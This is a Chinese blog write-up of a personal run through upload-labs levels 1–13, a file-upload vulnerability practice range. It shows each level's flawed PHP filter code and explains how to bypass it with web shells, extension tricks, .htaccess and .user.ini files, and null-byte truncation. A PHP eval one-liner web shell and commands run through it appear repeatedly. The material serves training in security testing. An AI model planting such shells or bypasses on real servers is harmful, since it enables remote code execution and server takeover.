upload_labs靶场做题记录(1-13)

初学者的一些做题记录


upload-labs好像有两三种版本。。

Pass-01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//php
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
//提示:本pass在客户端使用js对不合法图片进行检查!

既然使用js去检查,那直接尝试在客户端把js禁用(注意最后一行的设置):

upload1

这时上传一句话木马:

1
2
3
4
5
GIF89a //这个题中加不加欺骗头都行,他没查内容

<?php
@eval($_POST['viper']);
?>

uplabs2

选中图片后在新建标签中访问:

uplabs3

嗯,没啥毛病。然后POST: viper=phpinfo();(别忘记这个分号,因为用的是eval函数)

uplabs4

可以再试试viper=system('whoami');

uplabs6

然后想尝试直接把js的检测函数给删了,不过我找了半天没翻出来,看了下网上的wp

uplabs7

直接把return checkFile()删了就行,或者把checkFile()改成True

因为我是在buuctf上做的,所以上传个图片抓包改后缀也行。

Pass-02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
//提示:本pass在服务端对数据包的MIME进行检查!

检查MIME的话直接改content-type字段,改成image/jpeg或者image/png或者image/gif都行

PASS-03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);//trim() 函数用于去除字符串两端的空格和其他空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

首先建立了黑名单,禁止上传以'.asp','.aspx','.php','.jsp'结尾的文件(不过一句话木马的后缀有很多,黑名单过滤不够严谨)。然后它对文件上传的路径也进行了一些处理:$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 可以看到出现了一个随机数rand(1000,9999)。不过东西无所谓(因为靶场会给文件上传路径),直接找就行。

我的做法是上传后缀为phtml的一句话木马,因为没有其他检测所以内容是:

1
2
3
4
5
GIF89a //这个题中加不加欺骗头都行,他没查内容

<?php
@eval($_POST['viper']);
?>

上传成功后和PASS-01一样,在图片右键新建标签打开图像,可以看到上传路径为:

1
http://4bc1ebb4-deaa-4c68-85bf-7479cdcc6093.node4.buuoj.cn:81/upload/202311100233406191.phtml

当然,除了phtml后缀我们还可以上传其他比如:php5,php3之类的后缀(不过这个好像只能在自己搭建的靶场通过修改配置文件,我在Buuctf上做的没法修改所以只能上传php3结尾的。)

PASS-04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件

和第三关一样是黑名单过滤,不过这个明显更加全面。这时考虑通过.htaccess配置文件上传一句话木马:

1
2
3
<FilesMatch "test1.png">
SetHandler application/x-httpd-php
</FilesMatch>

这东西可以把test1.png当成php后缀类型的文件。(也可以去掉第一行和第三行上传任意前缀的一句话木马,即把任意后缀的文件当成PHP文件):

1
SetHandler application/x-httpd-php
1
2
3
4
5
6
//这道题没检查文件内容,所以用了前面的一句话木马
GIF89a

<?php
@eval($_POST['viper']);
?>

我后面又尝试了下上传:

1
2
3
GIF89a

<script language='php'> @eval($_POST['viper']); </script>

这个内容的一句话,但发现虽然能正常上传,访问也能看到GIF89a但无法连接。。不知道是个什么情况。

PASS-05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//提示:上传目录存在php文件(readme.php)

比第四关中的黑名单多了个.htaccess,没有用strtolower对文件进行处理,所以通过大小写组合绕过/纯大写绕过上传文件:viper.PHPviper.Php

upload7

(我这道题的版本有问题,我看网上有些人的版本符合利用.user.ini解题的要求),记录一下他们的解题过程:

1
2
3
4
5
6
7
8
//.user.ini

GIF89a

auto_prepend_file=viper.png

//auto_append_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。

我上传的user.ini会导致我访问某些php文件时自动包含我上传的文件,文件包含我们都清楚,会把任意后缀的文件当php去读。这时候我就可以上传一些图片后缀的木马了,然后访问任意一个已知的php界面,他会包含我在user.ini中指定的木马文件,达到我的目的。不过用蚁剑连接时要注意直接连那个php文件而不是上传的那个木马,而且含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

不过这种方法有三个前提:

1
2
3
4
5
服务器脚本语言为PHP  

服务器使用CGI/FastCGI模式 //Server API下,BUUCTF上的靶机并不是这个模式(Apache 2.0 Handler)

上传目录下要有可执行的php文件

提示给了上传目录存在php文件(readme.php),那就把.user,iniviper.php上传然后访问这个readme.php就行了

PASS-06(windows)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//多了个strtolower函数但没了`trim`函数,考虑后缀加空格绕过

注意空格绕过只适用windows下,因为windows会自动忽略后面的空格,比如viper.php我是空格会识别为viper.php,不过比较时还是带着空格的。所以上传时直接抓包加个空格就行了。

注意访问的时候不要加空格,空格被去掉了。

PASS-07

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

//本pass禁止上传所有可以解析的后缀!

注意这里少了deldot函数,所以直接在后缀加个.就行了。

注意访问一句话木马的时候要把.去掉进行访问(windows下)。

如果在windos下没把.去掉就访问会出这个:

upload10

但在linux下一定要把.带着才能访问,否则会出现:

upload11

PASS-08

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这关去掉了$file_ext = str_ireplace('::$DATA', '', $file_ext);函数,所以抓包加个::$DATA后缀就行(不过注意这题和之前的一样,只适用于windos环境)。上传完了访问去掉::$DATA的文件就行。

下面的解释参考了https://zhuanlan.zhihu.com/p/476677056

php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件名 他的目的就是不检查后缀名。

如果在Linux下上传.php::$data,不管带不带这个::$data都没法访问文件:

upload12

upload13

PASS-09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以看到这关的过滤更加严格了,不过可以利用deldot这个函数的特性来绕过:

参考:https://zhuanlan.zhihu.com/p/476677056

deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来

所以我们可以构造viper.php. .进行绕过,其实就是.和空格进行组合:去掉了最后一个.,碰到空格停止后又碰到了最底下的trim,这时空格被去掉了(变成PASS-07那种情况了)。

这题还是只能在windows下做。

PASS-10

1
$file_name = str_ireplace($deny_ext,"", $file_name);//注意这段代码,会把黑名单的字符串替换为空

单纯替换的话我们可以通过双写后缀来绕过:viper.php

PASS-11

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

这段代码会找到文件中最后一个.的位置,然后提取其扩展名赋值给 $file_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

先说下源码的逻辑:先设置$ext_arr白名单,然后利用函数截取文件名中最后一个.后的字符串。利用temp_file先存储临时文件名,将利用GET方式获得的save_path的值和/+10~99的一个随机数+获取当前日期和时间进行拼接,最后加上.$file_ext赋值给$img_path

看了下wp,这里要用到%00截断(不过只能用于php版本低于5.3的)。%00这东西就是个截止符号,系统碰到%00就不会继续往下读取数据了。

upload15

最开始想在文件名中利用截断上传viper.php%00.jpg,但想了想这么搞其实没啥用,因为他获取的后缀还是.jpg不是我想要的.php,所以要在sava_path上做文章:

upload14

然后直接访问viper.png就行。

(这道题我是在buuctf上做的,感觉我这个环境有点问题有些题目解不出来(一直提示上传失败),这里直接参考其他师傅的wp把答案放上去了)

PASS-13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;//注意这里的POST

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这关就是把$_GET改成了$_POST,思路和上一关一样。不过要注意GET传参会自动把url转码,而POST并没有这个功能。


upload_labs靶场做题记录(1-13)
http://example.com/2023/10/30/2023-10-30-upload_labs通关记录/
作者
notbad3
发布于
2023年10月30日
许可协议